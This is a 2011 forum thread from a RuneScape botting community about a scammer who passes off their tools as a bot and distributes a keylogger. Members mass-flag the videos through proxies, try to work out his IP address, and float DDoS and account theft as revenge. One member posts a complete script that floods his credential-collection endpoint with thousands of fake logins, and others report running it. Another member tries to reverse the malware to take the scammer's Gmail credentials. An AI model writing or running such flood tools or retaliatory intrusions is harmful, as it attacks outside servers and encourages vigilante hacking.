SRL Archive - News and General

Fake Bot Vids


DeSnob

2011-11-20 19:05:31

I watch bot vids when I'm really bored at home sometimes. What's funny about what I saw today is that someone is using a vid of SMART and what I believe is MSI, to show everyone that "stealthbot" works. The guy deletes any comments that you post against him, and I'm 99% sure his uploaded file is infected. Seems like we're getting popular, what do you guys think? I can post the vid if you guys wanna see; it's pretty pathetic.

E: Vid link: http://www.youtube.com/watch?v=tZVHZwlTTNs(Now banned) and http://www.youtube.com/watch?v=0pil1y8gDB8 Same video.

E: 1 Banned, more to go!

senrath

2011-11-20 19:06:44

Link to the video? I want to see this.

YoHoJo

2011-11-20 19:09:25

http://www.youtube.com/watch?v=0pil1y8gDB8

Bam Bam

2011-11-20 19:40:02

judging by the filenames if this is legit at all it's a hacked up version of Nexus and SMART. Did Nexus ever support colors?

Nava2

2011-11-20 19:43:34

Just flag it as a scam.

Also, try to comment and point people to the right place.

RISK

2011-11-20 19:43:36

Yes. Nexus supports colors. kMiner (Kevin's mining bot) uses reflection and colors. Colors are backups.

From: Bam Bam
judging by the filenames if this is legit at all it's a hacked up version of Nexus and SMART. Did Nexus ever support colors?

GoF

2011-11-20 19:48:50

Lol at the sockpuppet spam in the comments. Sad to see some people have actually downloaded that thing. Apparently there's some "beta test key" or something that always shows up as full when the people who've been fooled into downloading that thing try to run it.

RISK

2011-11-20 19:52:22

Oh, I get it! When the video fades to black, it uses SMART. But before that, it uses a simple GUI made with Java.

senrath

2011-11-20 19:58:53

From: GoF
Lol at the sockpuppet spam in the comments. Sad to see some people have actually downloaded that thing. Apparently there's some "beta test key" or something that always shows up as full when the people who've been fooled into downloading that thing try to run it.


Well, one of those downloads was me. I want to see if the files were obfuscated. Turns out they're not.

Harry

2011-11-20 20:15:06

This has been flagged as spam
please don't make it paied, i always use it
75nomnom 1 week ago

Lol their sockpuppet spammer doesn't even know how to do 's

DeSnob

2011-11-20 20:15:18

Wow, this guy is funny. He blocked me after I kept commenting about how he was just a scam, lolol.

YoHoJo

2011-11-20 20:40:31

How that really makes me mad! Going to flag them all and wtf!

Sex

2011-11-20 20:51:14

From: YouTube
You have been blocked by the owner of this video.
Wtf, lol.

Flight

2011-11-20 21:04:59

From: RISK
Oh, I get it! When the video fades to black, it uses SMART. But before that, it uses a simple GUI made with Java.


Exactly.

PlaySkool

2011-11-20 22:25:40

They're about to get whaled or DDoSed depending on what backdoor they're using.

Shuttleu

2011-11-21 04:33:22

http://www.youtube.com/t/copyright_notice
cant someone do that ^^^

~shut

EDIT: he is claiming that its his work, so it is in theory breaching copyright

Flight

2011-11-21 05:21:43

I made an account just to dislike and comment on that video.

doublex8

2011-11-21 06:22:09

From: Stealth Bot Guy On Youtube
To all claiming this is stolen from villavu, smart is open source and it is an EXTENSION, witch means I can use it to in my client. Smart is to exclusive to SRL and yes this is a color bot too, but uses java instead of retarded pascal.


this was one of his comments on his videos recently…

tom99

2011-11-21 06:41:30

hes probably trying to make his botnet bigger, but why make a so big deal out of it? everyone in SLR earn exactly 0usd by scripting. lol i love how the description says "The bot is 100% virus free scan if you don't trust".

Shuttleu

2011-11-21 06:42:52

From: doublex8
this was one of his comments on his videos recently…


Yea, I saw that earlier, but without quite a bit of modification, smart wouldn't work with anything else would it?

~shut

doublex8

2011-11-21 06:46:11

http://www.sythe.org/showthread.php?t=981956

Seems that some people on sythe have heard of it too haha.

Mr. Bottomtooth

2011-11-21 08:36:46

From: doublex8
http://www.sythe.org/showthread.php?t=981956

Seems that some people on sythe have heard of it too haha.


Nice community they got there, reading the thread.

Bubix

2011-11-21 09:47:08

aww so cute. such a scam lol :D
btw, all "positive" feedback is from users who are really young. rofls…

So sad.
SMART FTW! :)

Swatarianess

2011-11-21 11:27:34

Lol phishing technequies these days ;/ Take liek 50+ vids of different bots be4 Nuke day then upload them after with link to virus/Trojan then steal account info :( maybe some are real but small amount :/

also that sythe link talks about Gh0st :O, damn he must have 10bill+ bank lol stealing acconut via Pb and now fake Rs bots :p

P1nky

2011-11-21 12:02:28

To all claiming this is stolen from villavu, smart is open source and it is an EXTENSION, witch means I can use it to in my client. Smart is to exclusive to SRL and yes this is a color bot too, but uses java instead of retarded pascal.

StealthBotRS 12 hours ago



lmao wtf.

doublex8

2011-11-21 12:38:49

From: RS Stealth Idiot
I could not manage to load SMART Client inside my own, for some stupid errors I missed. I would have to load smart by itself and then screen lock the bot to it when I did the video I also faded out that as I considered not necessary and wanted to make a short video. . This is no longer the case, that's why there is a second video. Anyways, this is a private bot, the beta key is limited to 200 ppl and it is just to fix the bot for the priv users, you don't have to use it.


This was his response to my comment in which I had told him it was obvious he was running a Simba Script(MSI) through SMART

DeSnob

2011-11-21 13:29:41

I reallly wanna comment on the vid, but I'm stuck here in school. :(

Kyle Undefined

2011-11-21 13:32:37

What's the point of the GUI? To steal your info? Lol.

footballjds

2011-11-21 13:34:11

stealthbot is a rat/keylogger.
I guess the gui is so that people still think it's viable software…

Shuttleu

2011-11-21 14:01:02

hey, my comment is in the "top comments" :p

~shut

doublex8

2011-11-21 15:40:54

From: Shuttleu
hey, my comment is in the "top comments" :p

~shut


haha yea I liked it :)

senrath

2011-11-21 15:47:27

So he's started to respond to comments. And then delete the comments he responded to.

Shuttleu

2011-11-21 15:55:09

awww…
just tried to reply and got this

"You have been blocked by the owner of this video"

~shut

DeSnob

2011-11-21 15:58:45

His "new" vid. He just skips from runescape app to SMART.. http://www.youtube.com/watch?v=KyAfmIpi5OY&feature=mfu_in_order&list=UL

From: Shuttleu
awww…
just tried to reply and got this

"You have been blocked by the owner of this video"

~shut


Make a new account. :)

magernub573

2011-11-21 16:01:12

its sad that someone has to come to a community of people who are generally nice, helpful,trustworthy people who just want to learn and write scripts/bot, and then use it to scam other people out of their pixels.

RISK

2011-11-21 16:03:47

There's always a few bad apples on the apple tree.

From: magernub573
its sad that someone has to come to a community of people who are generally nice, helpful,trustworthy people who just want to learn and write scripts/bot, and then use it to scam other people out of their pixels.

Shuttleu

2011-11-21 16:26:34

From: DeSnob
His "new" vid. He just skips from runescape app to SMART.. http://www.youtube.com/watch?v=KyAfmIpi5OY&feature=mfu_in_order&list=UL



Make a new account. :)


done :D

~shut

EDIT: i still think someone should submit a copyright infringement notice to youtube

Nava2

2011-11-21 16:37:30

Ben can, under the GPL, if he uses SMART at all, he must show the source of the application which uses SMART libraries. The GPL is viral, it forces other users of GPL software to GPL their software unless the other specifically gives them permission to use SMART in a closed source environment (this is how SCAR can still use SMART).

Thus, yes we can go after them for copyright infringement, but only Ben. Also Cohen can go after him if he admitted to using MSI. As MSI is also GPL licensed.

onilika

2011-11-21 16:47:54

When will people realize that there's only 2 community's up?
And those videos about bots after nuke, that's more to Jagex get mad. They only get things worst…

YoHoJo

2011-11-21 17:53:55

Can anyone read that?
169.253.165.5?

LSD

2011-11-21 17:56:14

From: YoHoJo
Can anyone read that?
169.253.165.5?


You last logged in earlier today from 169.253.165.5


:)

YoHoJo

2011-11-21 17:58:10

Hmm I searched on modcp and didn't see anything matching.

Video Link:
http://up.ht/umdA5Q
Download it, slow it down as much as you can with whatever program, IP can be seen for a split second at ~33 seconds.

LSD

2011-11-21 18:02:03

From: YoHoJo
Hmm I searched on modcp and didn't see anything matching.

Video Link:
http://up.ht/umdA5Q
Download it, slow it down as much as you can with whatever program, IP can be seen for a split second at ~33 seconds.


Try You last logged in earlier today from 169.253.163.5

or You last logged in earlier today from 169.253.161.5

Im almost sure its one of those.

YoHoJo

2011-11-21 18:03:55

Eh no match for either. Whateverrrrr

Shuttleu

2011-11-21 18:06:53

From: YoHoJo
Eh no match for either. Whateverrrrr


try 169.263.161.5

~shut

Harry

2011-11-21 18:11:32

That entire range (169.253.0.0/16) are U.S. Department of State IPs, so I think you've got it wrong. Or the government is giving out botnets now.

109.253.161.5 looks a bit more reasonable, which is an Israeli IP.

weequ

2011-11-21 18:12:33

Could it be 169.253.161.5?

LSD

2011-11-21 18:15:21

But even if we got the IP of this guy what are you guys going to do with it DDOS/Report or what?


PS: Goodnight everybody.

Shuttleu

2011-11-21 18:16:03

From: LSD
But even if we got the IP of this guy what are you guys going to do with it DDOS/Report or what?


PS: Goodnight everybody.

maybe ban his IP so he cant scam anyone else with our stuff?

~shut

LSD

2011-11-21 18:18:03

From: Shuttleu
maybe ban his IP so he cant scam anyone else with our stuff?

~shut


Thats a good one.

for myself:duh:

YoHoJo

2011-11-21 18:18:55

Harri, yeah I noticed that odd huh? But it really looks like second digit is 6!

109.253.161.5: Nothing
169.253.161.5: Nothing

Whateva!

DeSnob

2011-11-21 18:24:33

WE DID IT! :D

Harry

2011-11-21 18:25:25

Use your mod powers to search the entire range, lol.

Here's another pic of it, not any easier to read though.. http://i.imgur.com/yUWOp.png

YoHoJo

2011-11-21 18:27:45

What should I type in the search box to check entire range?
@DeSnob; WOO SRL!

Harry

2011-11-21 18:28:59

Maybe 189.252.161.5?

Not sure, wildcards like *? RTFM :p

Shuttleu

2011-11-21 18:33:44

From: DeSnob
WE DID IT! :D


mine are still playing, even after a CTRL+F5

~shut

EDIT: no wait, it is banned, i was looking at the wrong video

DeSnob

2011-11-21 18:35:50

Check the first link of my first post. It was working for me earlier too, but checked it and it was blocked

tom99

2011-11-21 18:37:52

169.253.165.5 traced to:
Address: 2201 C Street NW
City: Washington
StateProv: DC
PostalCode: 20520
Country: US
RegDate: 1996-07-09
Updated: 2010-01-14

YoHoJo

2011-11-21 18:39:44

From: tom99
169.253.165.5 traced to:
Address: 2201 C Street NW
City: Washington
StateProv: DC
PostalCode: 20520
Country: US
RegDate: 1996-07-09
Updated: 2010-01-14


Saw that too, too bad it's like a commercial place, behind a post office so that can't be right. Unless the mailman need some extra income by stealing RS accounts.

Harry

2011-11-21 18:39:46

Yeah, because that's a U.S. Department of State IP… I don't think that's it, it can't be.

Kyle Undefined

2011-11-21 19:00:03

EDIT: Nevermind, was idle in post mode for awhile, lol sorry.

Gu3st...

2011-11-21 19:15:30

I think we can be fairly sure it's not a 169.253.*.* IP (Look at Harry's posts)

Harry

2011-11-21 20:00:03


Change your passwords if you were dumb enough to use it, and probably reformat as it probably also installs a RAT.

Nothing about the guy who runs it IP, but that's where he sends the passwords to. If anyone wants to send a few fake usernames there to annoy him :p

Kyle Undefined

2011-11-21 20:09:42

From: Harry

Change your passwords if you were dumb enough to use it, and probably reformat as it probably also installs a RAT.

Nothing about the guy who runs it IP, but that's where he sends the passwords to. If anyone wants to send a few fake usernames there to annoy him :p


Haha, well, saw that one coming :rolleyes:

Nava2

2011-11-21 22:35:19

program FuckWithIdiots;

const
Submission_Count = 5000;
Wait_time = 300; // ms

var
Emails: TStringArray;
Name_Words: TStringArray;

function filterpage(page: string): TStringArray;
var
p, c: Integer;
begin
c := 0;
SetLength(Result, 5000);

p := Pos('lblcompname', page);
Delete(page, 1, p+12);
//WriteLn('p=' + toStr(p));
//WriteLn(page);

while (p <> 0) do
begin
p := Pos('</span>', page);
if (p = 0) then break;
Result[c] := copy(page, 1, p-1);
//WriteLn(Format('%d %s', [c, Result[c]]));
Inc(c);
p := pos('lblcompname', page) + 12;
Delete(page, 1, p);
if (c = 5000) then break;
end;

setLength(Result, c);

end;

procedure getNames();
var
page: String;
t: Integer;
begin
WriteLn('Getting random words... This will take some time.');
t := getSystemTime;
page := GetPage('http://www.wordlistgenerator.net/results.aspx?lenmod=' +
'less+than+or+equal+to&len=6&regular=1&regularish=1&irregular=1&select=randomly');
WriteLn(Format('Got Page in.. %ds', [(getSystemTime-t) div 1000]));

Name_Words := FilterPage(page);
WriteLn(Format('Filtered %d pieces.', [Length(Name_Words)]));
end;

function MakePass(): String;
var
len, i: Integer;

begin
Result := '';
len := RandomRange(8, 16);

setLength(result, len);

for i := 1 to len do
case (Random(3)) of
0: Result[i] := chr(RandomRange(97, 122));
1: Result[i] := chr(RandomRange(65, 90));
2: Result[i] := chr(RandomRange(48, 57));
end;
end;

function Random_nums(count: Integer): String;
var
i: Integer;
begin
Result := '';
SetLength(Result, count);

for i := 1 to count do
Result[i] := chr(RandomRange(48, 57));
end;

function Make_Email(): String;
var
l, nL: Integer;
begin
Result := '';
l := Length(Name_Words);

nL := RandomRange(5, 15);

Result := Name_Words[Random(l)];
while (Length(Result) < nL) do
begin
Result := Result + ' '+ Name_Words[Random(l)];
end;

if (Random(2) = 0) then
Result := Result + Random_nums(RandomRange(1, 5));

if (Random(4) = 0) then
Result := Capitalize(Result);

if (Random(3) <> 0) then // not all are emails..
begin
case Random(3) of
0: Result := Replace(Result, ' ', '_', [rfReplaceAll]);
1: Result := Replace(Result, ' ', '.', [rfReplaceAll]);
2: Result := Replace(Capitalize(Result), ' ', '', [rfReplaceAll]);
end;
Result := Result + '@' + Emails[Random(Length(Emails))];
end;
end;

function Make_Pin(): String;
begin
Result := '';
if Random(4) <> 0 then
Result := Random_nums(4);
end;

procedure SubmitInfo(User, Pass, Pin: String);
var
c: Integer;

begin
c := InitializeHTTPClient(false);

AddPostVariable(c, 'User', User);
AddPostVariable(c, 'Pass', Pass);
AddPostVariable(c, 'PIN', Pin);

PostHTTPPageEx(c, 'http://xmlv3bot.comlu.com/php/xavi.php');

FreeHTTPClient(c);
end;

procedure globals();
begin
Emails := ['gmail.com', 'hotmail.com', 'yahoo.com',
'live.ca', 'live.com', 'gmail.net', 'pornhub.com',
'facebook.com', 'yahoo.net', 'zootube.com',
'silly.net', 'gmail.net', 'msn.com', 'msn.ca',
'freenode.net', 'msn.org'];

getNames();
end;

var
i: Integer;
User, Pass, Pin: String;

begin
cleardebug;
globals;

for i := 1 to Submission_Count do
begin
User := Make_Email();
Pass := MakePass();
Pin := Make_Pin();

SubmitInfo(User, Pass, Pin);

WriteLn(Format('%5d U: "%s" P: "%s" #: %s', [i, User, Pass, Pin]));

Wait(Wait_time);
end;

WriteLn(Format('Submitted %d entries.', [Submission_Count]));


end.

Go.

Note: Not endorsed by anyone - including Nava2, use if want to mess with these scammers..

noidea

2011-11-21 22:45:34

Submission_Count = 100000000000000;
Wait_time = 200; // ms

Swatarianess

2011-11-22 06:46:23

From: Harry

Change your passwords if you were dumb enough to use it, and probably reformat as it probably also installs a RAT.

Nothing about the guy who runs it IP, but that's where he sends the passwords to. If anyone wants to send a few fake usernames there to annoy him :p


Someone should whale him? like steal his account then give them back to org owners somehow :p or dump them :/ anyways gonna spam him like 1k random accounts ^^

Shuttleu

2011-11-22 10:35:29

Spect huge update soon to come - will be open source

in the description

that should be good

~shut

EDIT: heh, i have spammed him 26k accounts atm and still going XD

footballjds

2011-11-22 10:39:50

From: DeSnob
WE DID IT! :D


i flagged the video as a scam on 9 different accounts through proxies all over the country :D

weequ

2011-11-22 10:56:38

I found out this that this is also his channel : http://www.youtube.com/user/XMLV3Bot#p/a/u/2/ao1MzpsQ9dM

You can see the ip when you hide annotations. Please check this IP: 201.103.229.46

LSD

2011-11-22 10:57:26

Even though he probably has reserves enough spam i will do my part to :)

Kyle Undefined

2011-11-22 11:00:50

From: weequ
I found out this that this is also his channel : http://www.youtube.com/user/XMLV3Bot#p/a/u/2/ao1MzpsQ9dM

You can see the ip when you hide annotations. Please check this IP: 201.103.229.46


Nice find!

Bobzilla69

2011-11-22 11:02:04

best i can do, better quality image might help.

checking video for better image now

footballjds

2011-11-22 11:06:37

720p quality, hidden annotations.
from this: http://www.youtube.com/watch?v=ao1MzpsQ9dM#!
here's the ip in a pic:

Gu3st...

2011-11-22 12:23:57

IP-search: 201.103.229.46: No Matches Found

Harry

2011-11-22 13:11:28

Search the IP range. That's similar to the other IP. His site is down anyways, sent abuse report to 000webhost and they got rid of it.

Shuttleu

2011-11-22 13:35:22

From: Harry
Search the IP range. That's similar to the other IP. His site is down anyways, sent abuse report to 000webhost and they got rid of it.


which means the script isnt doing anything :(

~shut

EDIT: lol look at this below

LSD

2011-11-22 14:33:09

From: Shuttleu
which means the script isnt doing anything :(

~shut

EDIT: lol look at this below


Lol report him for scamming on Rs.

Harry

2011-11-22 14:44:23

From: LSD
Lol report him for scamming on Rs.

You can't report usernames anymore unless they talked recently or are nearby you to right-click report. It's pretty dumb.

LSD

2011-11-22 14:55:22

From: Harry
You can't report usernames anymore unless they talked recently or are nearby you to right-click report. It's pretty dumb.


Lol, another one of JaGex stupid updates. Makes no sense at all.

YoHoJo

2011-11-22 15:16:51

From: LSD
Lol, another one of JaGex stupid updates. Makes no sense at all.


Overall I like it though. Now we don't have to type username and a list of recent chat/nearby players shows up. I like it, but yea didn't know you can't just type a name that sucks.

PlaySkool

2011-11-22 17:17:30

It's a gmail keylogger with an FTP backup system, though it doesn't appear to be in use. It's written in a .NET language, and is heavily obfuscated. Working on grabbing the user/pass for the gmail account :D

Shuttleu

2011-11-22 17:19:59

From: PlaySkool
It's a gmail keylogger with an FTP backup system, though it doesn't appear to be in use. It's written in a .NET language, and is heavily obfuscated. Working on grabbing the user/pass for the gmail account :D


woo, go get it

and if he has any sense, he is probably reading this now, but i dont think he does XD

~shut

LSD

2011-11-22 17:38:01

From: PlaySkool
It's a gmail keylogger with an FTP backup system, though it doesn't appear to be in use. It's written in a .NET language, and is heavily obfuscated. Working on grabbing the user/pass for the gmail account :D


How are you cracking it ?

Mr. Bottomtooth

2011-11-22 18:53:36

From: Harry
You can't report usernames anymore unless they talked recently or are nearby you to right-click report. It's pretty dumb.


There was some talk about that on RS forums and the conclusion was this update was made so people couldn't spam "report xxherokillerxx he tried to scam" on fc's and cc's. Resulting in a lot of people reporting people they had never met just because someone in the same chat told them to.

senrath

2011-11-22 22:35:28

From: Mr. Bottomtooth
There was some talk about that on RS forums and the conclusion was this update was made so people couldn't spam "report xxherokillerxx he tried to scam" on fc's and cc's. Resulting in a lot of people reporting people they had never met just because someone in the same chat told them to.


Yeah, I mean I think we used to have a script that constantly reported Zezima. It makes sense to remove it, really.

PlaySkool

2011-11-22 23:36:16

From: LSD
How are you cracking it ?


Bintext is a very useful tool for reversing obfuscated .NET binaries.

The binder drops a file in %appdata% named WinUpdate.exe, which is 32kb and .NET based. This file containes base64 encoded strings that are encrypted before being encoded. Presumably a username/password. Whenever I try to sniff it, it stops me.I'll get it though. Just a matter of time.

piper101

2011-11-23 01:14:22

how are things going?

PlaySkool

2011-11-23 20:40:24

From: piper101
how are things going?


Can't get the binary to run with a sniffer going, and can't patch it in a debugger since it's .NET.
This is causing some delays.